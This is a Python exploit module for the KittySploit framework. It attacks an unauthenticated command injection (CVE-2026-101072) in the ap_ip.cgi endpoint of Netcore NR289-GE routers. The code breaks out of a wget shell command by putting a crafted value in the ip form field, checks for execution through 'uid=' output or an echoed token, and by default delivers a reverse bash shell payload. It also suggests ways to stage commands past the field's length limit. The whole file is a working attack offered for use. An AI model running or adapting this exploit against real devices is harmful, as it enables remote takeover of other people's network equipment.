Netcore NR289-GE CVE-2026-101072 ap_ip.cgi RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netcore NR289-GE CVE-2026-101072 ap_ip.cgi unauthenticated command injection."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Netcore NR289-GE CVE-2026-101072 ap_ip.cgi RCE",
        "description": (
            "Exploits CVE-2026-101072 via POST /x.ico/ap_ip.cgi on Netcore NR289-GE "
            "AC controllers. The ip form field breaks out of a wget --post-data shell "
            "command. Requires a bound AP MAC; payload length is limited to ~19 bytes."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-101072"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/reverse_bash",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-101072",
            "https://github.com/senxitoyshuyi-ui/HACKALL",
        ],
        "tags": [
            "netcore",
            "router",
            "cmdi",
            "unauth",
            "rce",
            "cve-2026-101072",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce"],
            "requires": {
                "endpoint_pattern_any": ["/ap_ip.cgi"],
            },
            "chain": {
                "suggested_followups": [
                    "scanner/http/netcore_nr289_ge_cve_2026_101072_detect",
                    "scanner/http/netcore_nr289_ge_cve_2026_101077_detect",
                ],
            },
        },
    }

    ap_mac = OptString("AA:BB:CC:DD:EE:FF", "Bound AP MAC address", False)
    command = OptString("", "Command instead of selected payload", False)

    def execute(self, cmd: str) -> str:
        inner = str(cmd or "id")
        if len(inner) > 12:
            print_warning(
                "ap_ip.cgi truncates ip at ~19 bytes; long commands may fail — "
                "stage via short writes or use set_ntp_server_ip/location_time"
            )
        payload = f'";{inner};#'
        data = (
            f"mac={quote(str(self.ap_mac or 'AA:BB:CC:DD:EE:FF'))}"
            f"&ip={quote(payload)}"
            "&mask=1&gateway=1"
        )
        response = self.http_request(
            method="POST",
            path="/x.ico/ap_ip.cgi",
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            data=data,
            allow_redirects=False,
        )
        return (response.text or "") if response else ""

    def check(self):
        body = self.execute("id")
        if re.search(r"uid=\d+", body or ""):
            return {"vulnerable": True, "reason": "ap_ip.cgi command injection", "confidence": "high"}
        return {"vulnerable": False, "reason": "No command output observed", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(6)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        command = str(self.command or "").strip()
        if not command and hasattr(self, "payload") and self.payload:
            command = str(self.payload)
        if not command:
            command = "id"
        if not self.check_execute() and not re.search(r"uid=\d+", self.execute(command) or ""):
            self.not_vulnerable()
            return False
        if hasattr(self, "handler_execute") and self.payload and not self.command:
            return self.handler_execute()
        self.set_info(
            severity="critical",
            reason="Netcore ap_ip.cgi command submitted",
            path="/x.ico/ap_ip.cgi",
            command=command,
        )
        return True